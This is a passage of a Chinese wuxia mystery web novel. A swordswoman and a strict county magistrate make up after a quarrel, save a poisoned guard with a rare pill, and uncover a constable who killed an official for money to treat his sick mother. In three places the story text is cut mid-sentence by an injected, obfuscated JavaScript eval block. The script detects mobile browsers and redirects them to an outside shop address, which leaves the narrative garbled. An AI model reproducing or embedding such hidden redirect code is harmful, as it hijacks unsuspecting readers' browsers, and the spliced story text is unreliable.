后来,师傅常说,若想精进武艺,需得下山见众生,遇命悬一线之困境,可她只是摇摇头,她不想师傅因为她而受鞭笞。 所以这次下山,她自己请了六十鞭。 而在山上这么多年,除了经常向师傅和同门切磋,她没有多少对战经验,都是纸上谈兵,他们又都不愿下死手,总无法让她体会到生死之际的紧迫。 今夜是个不可多得的好机会,她不仅可以与师门之外的人过招,如果成功,说不定还能真相大白。 但其实细细想来,他说的也没什么错,毕竟案发突然,时间紧张,城外确实没有人去探过,是否有埋伏也不清楚。 若是没有,是她幸运;若真有,人数一多,中了圈套,她也难对付。 ……也许是她把事情想的太简单了。 “啊啊啊啊!” 花醉州一下子摔到床上,脸蒙在被子里滚来滚去,不时发出几声压抑的呐喊。 不行,她说服不了自己,她就是生气!而且……她也拉不下脸去求和。 正郁闷着,忽听见房门被人敲响,她还以为是颜斐,尚未发作,便听到肖寻岳的声音。 “娘子,是我,可否开一下门?” 肖寻岳理了理衣襟,退后一步等在门外。 几乎是话刚落的瞬间,门唰一下就开了,带起一阵风。 门外,颜斐和肖寻岳两个人一左一右地站着,颜斐的头正巧齐平肖寻岳胸口,正盯着她细细端详。 花醉州倚着门,朝颜斐凶道:“看什么看!” 颜斐冷不丁被吓了一跳,习惯性往旁边一倒,不小心直接挂在肖寻岳肩膀上。 拍拍胸脯给自己顺顺气,问道:“哎呦师姑!你这是消气了?” 他话说的突然,花醉州脸皱着,撇了肖寻岳一眼,别扭道:“当然没有。” “你来干什么。”花醉州清清嗓,问肖寻岳。 肖寻岳把手举起往前一送,晃了晃手里的食盒:“我来赔罪。” 顿了顿,接着说道:“这次,是真的赔罪。” 11. 赔罪 有人主动求和,花醉州倒也不会端着清高不给面子,只是态度也不算多好就是了。 “……进来吧。” 花醉州撂下一句话,转头自己先进了房,听到身后参差不齐的脚步声,花醉州停下步子,看向颜斐:“我叫的他,你跟进来干什么?” 颜斐眼睛轱辘轱辘转,看看这个又看看那个,最后挠挠头,指了指肖寻岳:“呃……我……我怕师姑你打他。” 干什么?他总不能说进来看好戏吧! 花醉州看他那副支支吾吾的样子,心里也明白了个七七八八,至于他的理由,更是蹩脚。 但两个刚吵过架的人独处一室,那场景,花醉州不禁打了个寒颤,她简直不敢想,便哼了一声,没搭话。 房内安静,只有烛芯时不时爆出一两声噼啪响,三人对坐无言,些许尴尬,一个是不想主动说,一个是不知道如何开口,一个是纯凑热闹。 最终还是颜斐忍不住,看看这个又看看那个,半个身子倚在桌边,小心翼翼的朝花醉州说道:“呃,那个,我把窗开开?” 有点闷。 ……静默……还是静默。 嘶……真尴尬。 颜斐摩挲着胳膊,抖掉汗毛坐了回去,决心不再说话。 “我……” “我……” 面对面坐着的两个人异口同声,花醉州一时间有些惊讶,抬起头,正巧和他对视上,又迅速低下头,掐了掐手掌心。 “娘子先说。” “你,你先说。” 这会儿倒是谦让上了,颜斐坐在一旁,止不住的腹诽。 肖寻岳拱拱手:“今晚之事,是我言语有失,还望娘子勿怪。” 他后来仔细回忆了自己说的话,那些话在他看来是担心,但在她看来就是轻视。 花醉州原本都做好了听大道理的准备,冷不丁迎来个个道歉,莫名有些脸热:“……你太保守,我太激进,所以今天晚上没有谁对谁错,只是观念不同而已。” “而且,我也得向县令道个歉,你只是害怕我出事,我却胡乱揣测你,是我不对。” 肖寻岳手攥成拳又松开,松开又攥紧,反复几次却还是不知道说什么好。 眼看着气氛又要冷下去,颜斐在桌子下踢了肖寻岳一脚:“呀!县令,你这食盒好精致!里面装的什么呀?” 肖寻岳这才反应过来,赶忙打开食盒,端出一个小碟子,上面整整齐齐放着几块白玉色糕点,方方正正的,卖相很好看,味道也好闻。 他推到花醉州面前,神色稍显局促:“娘子今日,应该没怎么吃过东西吧?” 听他这么一说,花醉州才后知后觉的感觉到了饿,肚子也跟着不合时宜的响了一声。 花醉州清清嗓,拿起一块就往嘴里塞,这糕点看着干巴,入口却湿润绵滑,很轻易就能抿开,带着花香味,清甜不涩,清香不腻。 “这是什么糕点?” “它叫芡玉糕,是我娘从前爱做的,做法也简单,我便学来了。” “咳咳咳!所以,这是你亲手做的?!”花醉州闻言,被糕点噎了一下,没忍住咳嗽起来。 肖寻岳赶忙给她沏了茶:“家母从前教导,赔罪要有诚意,幸而某手艺还算不错。” 花醉州眨眨眼睛,脸上满是震惊,她实在没想到,这看起来十指不沾阳春水的县令,居然还有这做美食的手艺。 “多谢县令……其实你随便买一家的糕点也可以的……”花醉州咕哝着,她突然觉得手里被咬了半块的糕点,比千两金还重,比东海珠还白。 东西没有多贵重,只是心意重,她能看出来肖寻岳是真觉得自己错了,可她却觉得自己错的更离谱。 “不,既是赔罪,须得用心,而且,太晚了,外面也买不到。” 一本正经的,像个小老头。 花醉州咽下那块糕点,带着些歉意开口:“肖寻岳,我不该拿剑指你的,你武艺也没多好,我还用剑吓唬你……” “嚯。”颜斐觉得稀奇,以往在闻家,他哪里听过师姑主动道歉,真是稀奇。 ……花醉州转过头,死死盯着颜斐,幸亏他出了声儿,差点就把他给忘了。 “颜斐。” 来了来了,又是这种阴恻恻的声调,颜斐麻溜站起来,还不忘抓块糕点,边吃边跑,背对着俩人挥挥手:“江湖再会!” 房里的两个人这下都没憋住,肩背一抖一抖的笑了起来,这一笑,双方心里都轻松不少,别扭的情绪也烟消云散。 花醉州这才毫无心理负担的拿起一块芡玉糕,这块估计是糖放多了,有点甜。 “肖寻岳,如你所说,今晚真的没有抓到人,那我们下一步怎么办?” 话题一下子转到凶案,肖寻岳倒是跟得上她的思路:“不急,我身边有个侍卫,名唤周平,武艺还可以。” “我给他安排了一个任务。” “什么任务?” 花醉州原本只是客套一问,没想到肖寻岳说出了一个名字:“我让他盯着曲择。” 花醉州咀嚼的动作一顿:“曲择?你是觉得,他有问题?” “嗯,”肖寻岳点点头,“今日在宋宅,我只是有些猜测,但娘子试探了他那番话,我瞧神情就知道,他绝对有大问题。” “你的意思是,有人指使。” “曲择这个人我了解,他怕事更怕惹事,唯独对母亲十分孝顺,所以,也许是有人以其老母为筹码逼迫他,让他不得不遵从。” “那你让他盯着曲择,是想做什么?” “今天我告诉曲择,我会在县里加强城防,以便缉凶,还特意准他回家照顾母亲。” “所以,你是想看看他到底是不是真凶?” 肖寻岳点点头:“对,虽然我不觉得,他会杀掉宋县丞,但既是查案,便不能以直觉为准。” 花醉州点点头,表示赞同:“只是我今晚与那人交手了,曲择的身手远不及他。” 今早在客栈她就发现了,曲择的功夫连闻家八岁孩童都不如,而且,两人身形也不大像,那人,比曲择更高更壮。 肖寻岳敛眸,一脸意料之中:“果然,真凶还是另有其人。” 花醉州皱着眉头,思索着:“可曲择不过一个小小班头,又没什么权,让他入局有什么用。” “我也想不明白,总觉得,这个案子疑点重重,哪里都是谜团,像雾一样,看不清,挥不去。” 肖寻岳神色凝重,嘴唇无意识微张着,声音也越来越小。 “哎呀,别想了,等你那侍卫回来问问就知道了,而且再过一会儿,只怕天要亮了,你还是早些回去休息吧。” 话刚落,县衙外就传来打更的声音。 四更天了。 肖寻岳敛起神情,起身拱了拱手:“那娘子也早些休息。” “哎,肖寻岳,你等等。” 花醉州叫住他,走到门口:“你以后别娘子娘子的叫我了,我听不习惯。” “那……” 花醉州展颜一笑:“你叫我阿醒吧,我师傅他们都是这么叫我的。” 阿醒。 这一听便是小字。 肖寻岳摇摇头:“不可,你我男女有别,我怎能以小字唤你。” 花醉州知道那些陈规烂俗,但她根本不在意,因为在她看来,这只是一个她用来示好的方式:“肖寻岳,小字又如何?这说明我把你当成了我的朋友,难道,县令瞧不上我这个江湖中人?” “当然不是!”肖寻岳赶紧否认,却被她架着下不来,最后只得作罢,小声说:“阿醒。” “这才对嘛!县令,那你的小字呢?” “我……”肖寻岳垂着眼,“我没有小字。” “没有?” 他点点头,说:“娘子……” 只是第一个字刚出口,便被花醉州 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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花醉州笑了笑,往他那里稍微倾了倾身子:“你刚刚叫我什么?” 被她这么一问,肖寻岳还以为自己说错了:“……阿醒?” 花醉州笑意更甚:“嗯嗯嗯!” 这肖古板,她还以为今日之后,得好些时日才能让他接受呢,没想到这么快就主动叫了她的小字。 她笑的晃眼,肖寻岳慌乱的眼神四处乱瞟,转而扶起周平:“我先把周平扶回去休息。” 花醉州拉着周平胳膊,两个人一左一右,搀扶着他往偏院走去。 周平伤势过重,吃了药就迷迷糊糊的,嘴里呢喃着什么也听不清。 “我叫阿斐来。” 花醉州弯起食指吹了个口哨,屋顶传来一声闷响,下一刻,颜斐就从窗外跳了进来。 肖寻岳瞧着他的身手,问道:“你怎么这么喜欢跳窗?” 颜斐摆出一副高深莫测的样子,捋着莫须有的胡子:“这你就不懂了吧,话本子里的绝世高手都是这样的,从窗而入,救人于危难之中,而后,不留姓名。” “噗。” 花醉州看着他这副样子,没忍住笑了一声。 “师姑!你怎么笑话我!” 花醉州忍住笑意:“好了,绝世高手,这里有一位伤者,需要救治,你看看?” “他受伤了?”颜斐蹙起眉,三两步走到榻边,看了看眼白,又搭了把脉。 “伤这么重……” “怎么样,能治吗?”肖寻岳问道。 花醉州拍拍他的肩膀:“放心,他看着吊儿郎当,医术真的还不错,相信我。” 她这话刚说完,颜斐手搭在榻边,抬起头,眉头紧蹙,语气里是止不住的惊慌:“师姑,不行,他中毒了,我治不了。” 12. 出格 “什么?”花醉州显然没有料到这种情况。 “是真的,我的医术虽远不及师傅,但我把脉能把出来,此毒凶悍,我从来没见过,若是今晚不得治,也许,也许就没命了。” 一时间,房间里的人都有些静默。 说到底,颜斐也才是个十三岁的小孩,是她太莽撞了。 花醉州握了握拳,毅然决然地从怀里掏出一个小小的绿瓷瓶。 “师姑!这药不行!”颜斐一瞧见那个瓶子,赶忙拉住她,这可是他师傅做的续命丹,仅此一颗,号称可与阎王抢人。 若非师姑此行万里之遥,师傅也不会寻遍千方走遍天涯,只为制成此药。 “师姑。如果我师傅来了。一定可以救的!” “师姐最近在寥州毒家修习,就算是坐船,也得十天才能到,你现在的医术,能保证他撑过十天吗。”花醉州语气冷静。 颜斐却不说话了,他知道自己不能。 肖寻岳听两人的对话,虽不知那药是什么,但看这情形,也明白它一定很珍贵,不易得。 他上前一步,拉住花醉州的手腕:“阿醒,你不必如此,他是我的侍卫,无论如何也该是我想办法来救。” “办法?你有什么办法?” 肖寻岳沉默着,没有说话。 “肖寻岳,”她看向他的眼睛,“现在除了这个药,没有人也没有办法可以救他,你想看着他死吗。” 肖寻岳愣住了,周平和他一起长大,在他心里,他已经是他的家人了。 花醉州拉下他的手:“况且,这件事本来就是我的错,给了你希望又打破,合该我来补救。” “师姑。” “如果想要他活命,就都别过来。” 花醉州拔开塞子,将瓶口放在周平嘴边,清幽的药香让周平意识稍稍清醒,他眼睛撑开一条缝:“娘子......我命贱......” 花醉州一边捏着他的下颌,一边说:“都这时候还说什么命贵命贱!” 颜斐在一旁看着,忍不住扣着手指,想叫师姑,却怎么也叫不出声。 这药有奇效,周平一吃下去就闭着眼睛昏睡了,昏睡前,还强撑着用气声说了句“多谢”。 花醉州这才松了口气,回头看到颜斐那副自责的神情,走过去摸了摸他的头。 “师姑,都怪我学艺不精,要不然,你也不会为了我将这丹药用了......” 花醉州笑了笑:“我可不是为了你才用药,一来是为了人命,二来,则是为了缓解我心里的愧疚。” 她将颜斐头顶的头发揉乱:“而且这药只是能续命而已,剩下的,还要看医者本身,所以,去吧,他还要你照顾呢。” “好!”颜斐点点头,从怀里掏出一个东西,是蜀中锦织就的包裹,里面躺着两排银针,映着烛火的光,一闪一闪跳动着。 他转过身,说道:“师姑,县令,我现在需要静心施针,你们两个半炷香之后再进来。” 花醉州和肖寻岳对视一眼,点点头,还贴心的带上了门。 两人站在门外,月亮不知何时被掩盖上了,一颗星星也没有。 看样子,估计是要下雨。 肖寻岳偏头看她:“谢谢你。” “谢我干什么,这件事本来就是我夸大了。” “不,”肖寻岳神情认真,“若是今晚没有你的药,周平必死无疑,我并没有认识的神医,身边也没有神药。” “所以你当时说你会想办法,只是在骗我咯?” 肖寻岳罕见的有些窘迫,点点头。 花醉州觉得好笑,仰着头大笑几声,拉着他把人往下一压,坐在了门前台阶上:“肖子商,你是不记得我和你说过的谣言了吗。” 肖寻岳不明白为什么她突然转移话题,但还是顺着她的话往下接了:“我,当然记得。” “这就对了。” “对了?”肖寻岳更加疑惑了。 “你看啊,现在我呢被人陷害入狱,你呢被人造谣杀人,咱俩是一伙的,都是被人陷害的可怜人,甚至有可能是同一个势力。” “所以你放心,周平我一定会救,只不过我没想到颜斐救不了而已。” 肖寻岳怔怔地看着她,所以她说这么多,就是在告诉他,让他放心。 花醉州取下腰侧挂着的酒葫芦:“看你愁眉苦脸的,仙人泪,喝点儿?” 她平日里不管是高兴了还是伤心了,都会喝酒。 而仙人泪就是她最喜欢的酒,入口醇香不苦,唯一的缺点是不好买。 用葫芦制成的酒壶,封着口,但肖寻岳还是能闻到飘出来的酒香。 他带着几分好奇多闻了闻,迟疑着摆摆手:“家父不让后辈饮酒。” 花醉州脸上的笑一僵:“你从未喝过酒?” “是。” 得到肯定回答,花醉州满脸讶异,不禁起身绕着他仔细瞧了一圈,像在看什么新鲜:“早就听闻肖家家风严正,没想到却是连饮酒都不让,你过的就是这种苦日子啊?” 在她眼里,人间乐事,莫过于饮酒吃肉,看遍山川美景,不让她喝酒,简直像断了她一条胳膊一样难受。 苦日子?肖寻岳一愣,从小父亲便教导他,为人臣子,克己复礼,守身守心,一切诱发私欲之物,皆为虚妄,譬如酒、食、财、色,为君子者,应摒其弊,溯本源。 以前阿娘跟他说,她还在外祖家的时候,爱饮酒,爱珍馐,做什么都自由自在,无拘无束,她不爱习武,外祖不会强逼,她爱做点心,外祖更不会阻止。 但自从嫁给父亲,便常因为小事争吵,父亲说,饮酒是人的私欲在作祟,为了断绝她的私欲,他把阿娘关在后院,不让她出门,还把她珍藏的酒全摔了个粉碎。 父亲说,这都是为她好。 在府里,只要是有父亲在场,他就见不到母亲的笑脸,最后在他十岁那年,阿娘因为外祖一家的死讯,郁郁而终。 而他那时刚从营帐里被救出来,高热不退,也没能见上阿娘最后一面。 后来,他若敢表现出一丝对父亲的忤逆,都会被藤条打手心。 日子久了,他慢慢觉得,酒很苦,钱很重,食物单调,世间姿色寡淡,也就渐渐习惯了。 这么多年,他从未有口腹之欲,现在做了官也很少与同僚走动,所以在曲塘,也就只有宋县丞和杜县尉愿意亲近他,其他官员都不愿与他来往,在他们口中,他就是个异类。 “话说,你活的这么一板一眼,不累吗?”花醉州忍不住,拔开塞子灌了口酒 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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“我说这个干什么啊,师姑你怎么这么不信任我!我太伤心了!”颜斐手握成拳,捂在胸口处捶了两下,装出一副痛心疾首的样子。 花醉州懒得理他:“装。” 颜斐不知道从哪掏出一把瓜子,边说边嗑:“师姑你这就不对了,我这明明是对你的控诉好吧。” 花醉州叹口气,问道:“你刚刚说,周平得明日午后才能醒?” “对。” “还能再早点吗?” 颜斐挑起眉:“嚯,再早点?你怎么不说让他早点死。” 花醉州罕见的没有还嘴:“不行,我得去一趟曲择家。” 她刚准备起身,肖寻岳一把握住了她的手腕。 花醉州还以为他又要阻拦。 肖寻岳却半睁开他那醉眼朦胧的眼睛,说:“阿醒,千万小心,早些回来,天,天快亮了。” 花醉州愣了愣,一笑:“好。” 正准备走,肖寻岳却还没松开手:“还有,曲择,有嫌疑,要,依律抓捕。” 这人,都醉成这样了,还想着规矩呢。 但花醉州这会儿的脾气格外好:“好,我知道了。” 颜斐嗑瓜子的动作越来越慢,看着他俩活像看见鬼了,说起来,师姑好像很少对他这么温柔过。 颜斐伸出手,在花醉州眼前晃了晃,说:“你是哪来的精怪,竟然敢上我师姑的身!快给我滚下来!” “哎呀去去去!” 花醉州扒拉开她脸前的手,说:“他我就交给你了,你把他送回去,我现在就去会一会这个曲择。” 13. 曲择 “真是的,这肖县令,怎么这么重!累死我了!” 肖寻岳这人看着清瘦,没想到扛起来比起一个壮汉也分毫不差,更别说人还醉着,自己根本走不了路,颜斐比他矮一个头,愣是废了好大力才把他送回官舍。 颜斐架着他磕磕绊绊的走到榻边,把他的胳膊从自己肩膀上拿开,肖寻岳没了支撑,就好像没了骨头似的,一下子倒在榻上,却不小心闪到了颜斐的脖子。 “哎哎哎!”颜斐叉着腰,一只手护在脖子后面。 “这来了曲塘,反倒成苦力了!”颜斐龇牙咧嘴吐槽着,揉捏着脖子。 肖寻岳倒在床上,嘴里不知嘟囔着什么,听也听不清,颜斐看着就气不打一处来。 便把他手脚摆正,头扶到枕头上,然后有模有样的作了揖,说道:“得嘞,县令,您歇着,小的先退下了。” 肖寻岳脑子晕乎乎的,耳朵阵阵嗡鸣,没力气去管颜斐。 只是想着,这仙人泪,好生醉人。 等到房间重归于静,肖寻岳缓缓睁开眼睛,床幔花纹简单,他看着却似有重影。 “你活的这么一板一眼,不累吗?” 耳畔总是萦绕着花醉州的话。 他当然累,父亲期望太高,总是压的他喘不过气,从小到大,他步步谨慎,稍有行错踏错便是家法伺候,但他无论做到多好,父亲总也不满足。 哪怕他现在当上了状元郎,父亲也觉得,他不应该选择去当一个小小的曲塘县令,只是因为品阶低,有失颜面。 酒劲一上来,头疼的厉害,肖寻岳侧躺着,偏头闭上眼,不自觉缩了缩手,眼尾有一点泪滚落,洇湿了枕头上那大片的忍冬。 娘,阿奴的手心,真的很疼。 他想。 * “啪嗒——” 下雨了。 花醉州看着衣袖上被沾湿的忍冬纹,嘟哝着“见鬼”。 怎么突的下雨,毫无预兆,幸而没下几滴便停了,要不然只怕要被淋成落汤鸡。 夜色黑沉,月暗星也稀。 花醉州看看眼前破旧的房屋,又低头看看肖寻岳画的那幅地图。 嗯,没错了,就是这里。 这房子小且旧,一扇木门吱呀吱呀吊在门口,感觉不堪重负,多土少砖的墙体生了许多虫洞,愣是像一堵危墙,屋内的光也不甚亮,比起其他人家的烛火暗了不止一星半点。 嘶,这县衙的差事也忒苦了些,怎么住这么破的房。 花醉州暗暗咋舌,飞身一跃上了茅草屋顶,先环视了一周,却并未探知到有其他高手的气息。 奇怪,周平当时声音虽小,但是她听的清清楚楚,难道是走了? 花醉州扫了扫四周,确认真的没有其他人,才用匕首轻轻扒拉开密实的茅草,往屋里看着。 屋内陈设更是简单,两张小床,一张矮小的木桌,三个木凳,再无其他布置。 不应该啊,曲塘本就富裕,县衙年付雇值怎么也得十五石粮食了,绝不至于贫穷至此。 一老妪仰躺在床上,头发梳的光亮,衣着虽简单但干净,只是她面色发白,手使劲按压着胸口,口中不住呻吟着,似是十分痛苦。 这是怎么了?心口发疼? 正疑惑着,木门吱呀响了起来,一人影出现在门口,身上有一丝血腥气,那人在门外脱下外袍,又仔细嗅闻,确认身上没了血气才进屋。 花醉州定睛一看,是曲择! 如今正值丑正,再过一会儿天就亮了,他怎么才回来? “娘,今夜之事,没有吓到您吧?”曲择走到屋内老妪床前,轻声道。 那老妪睁开眼睛,声音断断续续,听着十分痛苦:“儿莫怕,娘没事。” 曲择语气带着几分气:“娘放心,儿日后一定捉到今晚那贼人,为娘报仇!本来这病就快好了的,他这一恐吓,又不知得何时才能有起色了。” 贼人?看周平满身的伤,曲择口里的贼人,想必定是在说周平了。 老妪伸手摸了摸他的头发,却不小心翻出几缕白发,都是近年新长的,她看着扎眼,越发觉得心疼:“儿啊,娘对不起你,娘本就没什么用,老了还得病拖累你……” “娘,你别这么说,来,这药温度正适口,娘喝了就好了。” 那老妪却偏过头,眼里含泪,一副不愿喝的样子:“我这心疾,治不好的,短短一年,我都把你拖累成什么样了,这家里何时如此简陋过?你别再给我治了。” 心疾? 花醉州拧紧了眉,原是得了心疾,这病本就难治,之前听师姐说,一副方子就要花好几两,再抓抓药,就可抵普通人家一年的开销了,怪不得他家里看着如此贫穷。 只是没想到,这曲择居然真如肖寻岳所言,是个孝子,和今早客栈里的他,简直判若两人。 “不,娘,这几日喝的药不是已经有成效了吗?您继续试试,说不准能好呢?”曲择声音带上些哽咽,舀起碗里的药汁,执拗地往他母亲嘴边送。 他爹已经早死了,他不能再失去一个亲人。 那老妪看着曲择,眼里也满是不舍,她自小身体不好,曲择是她含辛茹苦十月怀胎生下来的独子,她怎会舍得留他一人在世上,可是她不想再拖累儿子了。 “娘。”曲择的手又往前送了送,恳求道。 老妪眼里闪着泪花,罢了,她就喝这最后一次。 曲择喂完药,坐在床边,看着母亲慢慢从病痛中剥离,直至睡着,才熄了灯,在他母亲床 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17449767|201146||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 前磕了三个头,然后悄无声息推开房门,拿上一个铁盆和一大包东西往后山的树林走去,一路上还左顾右盼的,甚是心虚。 花醉州看着他这幅模样,心里犯着嘀咕,远远的跟了上去。 曲塘整体地势低平,山也低,不多时花醉州就跟着曲择到了山腰处。 中间有一大片空地,没有草也没有树,看着像是砍伐过。 那空地上突兀的鼓起一个小土包,前面立着一个木牌,但是上面却没有字,夜色里看着有些渗人。 曲择拿过铁盆,解开布包,露出里面的东西。 那是……看形状很像纸钱 但夜色太暗,纵使她从小习武,目力甚佳,她也不敢冒认。 花醉州捂紧嘴,忍着不发出声,却见曲择掏出一个火折子,点燃了盆里的东西,然后对着土包一下下磕头。 他压低声音,抖着嗓子说:“我曲某,曲塘县平江镇人氏也,今铸下大错!罪该万死!宋县丞,您大人有大量,我不求原谅,只求让我免受牢狱,能在母前尽孝,养老送终啊。” 曲择泪流满面,重重磕在地上,没有起来。 “我自知,罪孽深重,待母寿尽,愿以死谢罪!” 稍稍平复了心情,曲择一边往盆里扔着纸钱,一边絮絮叨叨的说着话,就好像在唠什么家常一般:“宋县丞,看在我母亲患有心疾的份上,您就可怜可怜小的吧,我实在是没钱了,但我不能看着我娘被病痛折磨死啊,您可怜可怜我吧,可怜可怜我吧……” 在祭拜,真的是纸钱!花醉州听的断断续续,只能拼凑出大概。 和肖寻岳猜的差不多,这曲择确实是为了自己母亲,只不过,他也许不是被人胁迫,而是心甘情愿。 她紧握着拳,四指重重碾在树上,心里有些复杂,虽说是为了拿钱治病,可便要杀人吗?那他这份担着人命的孝心,未免也太沉重了。 若他母亲知晓这一场祸事竟是因自己而起,只怕是余生都会陷在内疚自责里,甚至恨不能现在就死。 她强忍着怒意,没有上前阻止,祭奠亡者,是他曲择该做的,坟前赎罪,也是该做的。 只等盆中火燃尽,风扬起灰烬,轻轻飘在那个土包上,没人知晓,亡者到底有没有原谅夺走他生命的人。 曲择直起身,抹了抹泪,他自问胆小如鼠,可是为了母亲,为了能有银钱治病,他不得不这么做。 曲择没有清理铁盆,把那包着东西的布也扔进去,点起火,烧了个一干二净。 火势渐大,扭曲了他的脸,曲择隔火望着坟,神情带上些坚定。 宋县丞,不要怪他,有钱能使鬼推磨,他实在是走投无路了。 曲择最后磕了三个头,端起铁盆,赶在天亮之前下了山。 14. 来信 翌日,天将亮,日头刚透露出来,天色灰蒙蒙的,整个缙池山都被笼罩在一片雾霭之中,泛着濛濛的水汽。 一只信鸽飞过前一座矮山头,抻直翅膀往后山缓冲,稳稳落在通体金色的鸟笼上,“咕咕咕”的叫着。 “师傅!有人来信了!” 一群扎着总角的孩童在院子里扎着马步,其中一个好动眼尖,信鸽将将停落,就转头朝里屋呼喊着。 “知道了知道了!你好好扎着,别给我偷懒!” 一个约莫四十岁的中年男子迈着四平八稳的步子从里屋缓缓出来,一边说着话,还不忘拿美人捶捶背。 他眯起眼睛,瞧了瞧天色,哎呦,今儿这天,可是不怎么好,阴沉沉的。 信鸽在旁边“咕咕”叫两声,歪了歪脑袋,闻远道笑着点点它的脑袋:“怎么着,飞饿了?” 信鸽眨眨眼,没理他,只待他取下腿上绑着的细竹筒,就扇着翅膀飞走了。 闻远道看着空中越来越小的白点,脸上的笑渐渐收敛,这信鸽翅羽上有一个龙飞九天的皇室图徽,但也是他最不想看到的图徽。 不知怎的,闻远道心莫名一沉,总觉得这信里说的不是什么好事。 纸很小,只写了“闻家阿醒,落难曲塘”八个小字。 这字迹…… 闻远道收力,捏紧手里的纸,他就是到了下辈子他也不会认错。 他快恨死这个人了。 “家主,家主!” 山下传来几声叫喊,哼哧哼哧跑上来一个守门小弟子,手里捧着一封信:“家主,门外有个人说,这是花四师姐的信。” 阿醒的信? 闻远道眉心一拧,接过信便拆开掏出里面的纸。 洋洋洒洒写了两张,多的是什么颜斐吃瘪的废话,唯有一句让他上心:“师傅,徒儿在曲塘遇到了一桩命案,依师傅吩咐,未与官府抗争,打开了包裹,但是徒儿却因此入狱了。” 果然…… 闻远道呼吸越来越急促,他现在再迟钝也反应过来,自己是被摆了一道,他就说为什么那人要让他嘱咐阿醒那些话,他刚听到就觉得奇怪,前言不搭后语的。 原是早有预谋,十年了,他本以为长子死了,那人也该体恤闻家了,怎么还是不肯放过。 他只恨不能手撕了皇城那厮。 “家主?家主?”那守门弟子看他状态不怎么好,抬手在他面前晃了晃,“家主?你还好吗?” 闻远道这才回过神,使出内力将两封信都震碎成齑粉,然后吩咐道:“你去告诉那几个长老,我要下山一趟,让他们守好闻家,我去去就回。” 还没等那弟子回应,闻远道一撩衣袍,使着轻功去了马厩。 这次,他要挑一匹最快的马,踏碎十里路,掀翻曲塘衙,直指帝京。 * 信鸽一路北飞,掠过曲塘上空,颜斐刚打开房门便瞧见了那显眼的鸽子,似乎是飞累了,在院墙边歇下叫了两声,就又飞走了。 “嚯,真稀奇,这大早上的,居然还有鸽子。” 颜斐随口嘟囔着,说完也没怎么在意,他特意起了个大早,刚给周平扎完针就赶回了院子里,今日他得提桶扎马步,扎够一个时辰。 师傅不在,这一路上他的武艺没倒退,都是多亏了师姑,这昨日刚出狱,就给他安排了任务,是以颜斐早早的就来花醉州院子里侯着。 日头渐升,颜斐左等右等却不见人,只得自己先去打了满桶水。 吱呀—— 房门开了,颜斐刚提着桶回院,就看见门口站着一个白衣披发的女鬼。 “啊——!!!” 水洒了,木桶磕在地上发出一声闷响。 那道鬼影瞬间移动,手一伸啪嗒合上了颜斐的下巴,颜斐这才看清,是花醉州。 “吵死了。” 花醉州眼下乌黑,看起来像是一夜未睡,语气恹恹。 “师师姑,你这是……?” “别问,扎你的马步去。”花醉州懒懒的走到院中石桌边坐下,一手撑着头,合上眼皮闭目养神。 昨晚从曲家回来她就辗转难眠,满脑子都是在后山上听到的话,看到的情景。 依曲择那番话,是有人花钱买了宋津臣的性命,可是,宋津臣也就罢了,但那跛子偷儿呢? 曲择从始至终都叫的是宋县丞,嘴里却没有一句吴耳的名字。 一个接一个的谜团向她砸来,花醉州额角突突的跳,只觉得头痛欲裂。 片刻后,花醉州睁开眼,看向颜斐:“肖寻岳在哪?” * 殓尸房在整座县衙的西南角,背阴通风,能保证尸体完整存放好几天,以便验尸。 一进门,便是浓浓的艾草和苍术味,但仍时不时飘来尸臭和血腥气。 “县令稍等,二验马上开始,”秦樊听见门响,偏头看来,发现是肖寻岳,拿起桌上的几张纸朝他走去,“这是昨日一验的验状,县令过目。” 肖寻岳坐在一旁,拿起验状细细看着,却在看到“心疾”两个字时微微一顿,宋县丞又没有心疾,为什么验状上会写。 “昨日验尸时,我闻到宋县丞身上有一股极淡的药味,我细细想来,那几味药一般是用来治疗心疾的,但又不是常见的那些方子里的药。” 肖寻岳闻了闻,这味道,很是熟悉,总感觉在哪闻过似的:“应该,是焕灵散。” 他说出口之后又细细回忆了一下,反倒更加确信了:“没错,就是焕灵散。” 虽然他不记得是在哪里闻到过,但这气味实在特别,辛辣又泛着苦,还有一丝酸味。 “焕灵散?这是什么药?”秦樊竟从未听过。 “焕灵散,顾名思义,就是能使人焕发生机活力,用来给将死之人续命的药,价值不菲,但具体有没有传言那般神乎其神,我也不知道。”一道清亮的嗓音从门口处传来,肖寻岳闻声望去,原是有人不请自来。 只是,嗓音清亮,面容却有倦色。 “你怎么找到的?”肖寻岳问道,殓尸房向来被视为不吉,是以地方偏僻,难找也难走。 花醉州不甚在意,一屁股坐下拿走了他手里的验状:“又不是没长嘴,随便抓个官差问问不就得了。” “这焕灵散,是寥州毒阜琇研制的,可谓千金难求,你这小小曲塘,一个县丞,还真是卧虎藏龙。” 肖寻岳失笑,问道:“那你……阿醒来此,可是有事要与我说。” 叫小字他还是不习惯,磕磕绊绊的。 花醉州摇摇头,没注意到他的停顿:“不急,我还没想好怎么说,先验尸吧。” 她脑子里现在是一团乱麻,就怕说也说不清,还是先看看验尸结果,让她再好好捋捋。 见花醉州没注意到自己的窘迫,肖寻岳居然还有些失落。 昨夜过后,他私心总想叫她小字,但他还是不能顺畅的说出口,真说出口了,又希冀她像昨晚那样,注意到他的改变。 